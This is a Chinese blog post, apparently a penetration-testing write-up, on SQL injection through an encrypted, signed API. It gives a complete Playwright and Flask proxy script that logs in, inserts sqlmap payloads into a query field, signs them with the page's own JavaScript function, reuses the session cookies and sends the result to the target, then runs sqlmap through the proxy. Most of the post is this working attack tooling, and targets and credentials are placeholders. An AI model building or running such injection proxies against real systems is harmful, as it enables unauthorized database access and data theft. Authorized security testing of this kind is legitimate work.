作者:whwlsfb
今天遇到一个存在SQL注入漏洞的系统
通过手动修改参数值后确认漏洞确实存在,但是这么明显的注入漏洞,不可能留到现在等我发现啊,但是转头看他的请求包:
emmmm……这八成是要写tamper了。
在对整个请求流程一步一步分析后发现,数据包在请求前都会被一个加密/签名函数统一处理,该函数的处理过程如下图所示:
实现路径选择
由于加密流程过于复杂,且由于_timestamp参数不允许重放、加密过程中大量调用Cookie等浏览器独占API等原因,遂放弃使用其他语言重写该加密函数,这时摆在面前的只有两条路:
1、写tamper对接浏览器爬虫,加密脚本不负责请求后端,另监听API接口透过driver调用浏览器中的加密函数,并将加密结果返回。
2、编写浏览器爬虫,监听API接口做为透明代理,将SQLMap发来的Payload植入到注入点,透过driver调用浏览器中的加密函数,直接在脚本内发起请求并将请求结果返回至SQLMap。
考虑到第一种方法调试起来较为麻烦,最终采取了第二种方法作为实现路径。
最近刚好在编写一个基于playwright的浏览器爬虫,正好可以将部分代码复用。
脚本编写
由于漏洞接口需要身份认证,需要模拟输入用户信息点击登录按钮
from playwright.sync_api import sync_playwright
page = None
context = None
def initPage():
global page, context
p = sync_playwright().start()
browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式
context = browser.new_context()
page = browser.new_page()
page.goto(
'<loginPage>')
page.fill("#username", '<username>')
page.fill("#password", '<password>')
page.click('.Btn_Submit')
page.wait_for_load_state()
page.goto('<vul_page>')
initPage()
编写加密函数调用与代理接口
@server.route('/', methods=['get', 'post'])
def encrypt():
global page, context, cookies
payload = request.values.get('payload')
fullPayload = {
"_method": "component.getListData",
"_param": {
"bizObj": "xx",
"service": "selectMore",
"fields": "DZ,%s" % payload, #注入点1
"filter": "1=1 ", # 注入点2
"currentPageIndex": 1,
"pageSize": 1,
"orderList": [],
"QueryFormData": ""
}
}
computeResult = page.evaluate(
'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)})
if cookies == '':
allcookies = page.context.cookies()
for i in range(0, len(allcookies) - 1):
cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value'])
resp = requests.post('<vul_url>', computeResult, headers={
'Cookie': cookies,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'})
return resp.content
之所以使用注入点1而不是2的原因是因为注入点2为布尔注入,效率较低,遂使用注入点1中的查询参数注入。
完整脚本如下
#!/usr/bin/env python
from playwright.sync_api import sync_playwright
import flask
import json
from flask import request
import requests
page = None
context = None
server = flask.Flask(__name__)
cookies = ''
@server.route('/', methods=['get', 'post'])
def encrypt():
global page, context, cookies
payload = request.values.get('payload')
fullPayload = {
"_method": "component.getListData",
"_param": {
"bizObj": "xx",
"service": "selectMore",
"fields": "DZ,%s" % payload,
"filter": "1=1 ",
"currentPageIndex": 1,
"pageSize": 1,
"orderList": [],
"QueryFormData": ""
}
}
computeResult = page.evaluate(
'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)})
if cookies == '':
allcookies = page.context.cookies()
for i in range(0, len(allcookies) - 1):
cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value'])
resp = requests.post('<vul_url>', computeResult, headers={
'Cookie': cookies,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'})
return resp.content
def initPage():
global page, context
p = sync_playwright().start()
browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式
context = browser.new_context()
page = browser.new_page()
page.goto(
'<loginPage>')
page.fill("#username", '<username>')
page.fill("#password", '<password>')
page.click('.Btn_Submit')
page.wait_for_load_state()
page.goto('<vul_page>')
if __name__ == '__main__':
initPage()
from gevent import monkey
monkey.patch_all()
server.run(debug=False, port=18888, host='0.0.0.0')
最终实现效果
在浏览器测试可以正常注入后,祭出SQLMap
# sqlmap -u "http://127.0.0.1:18889/?payload=" --level 3
原创作者:whwlsfb
原文链接:https://blog.wanghw.cn/
最后
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
无害实验室sec拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
本文始发于微信公众号(无害实验室sec):复杂加密接口的一种SQL注入测试方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论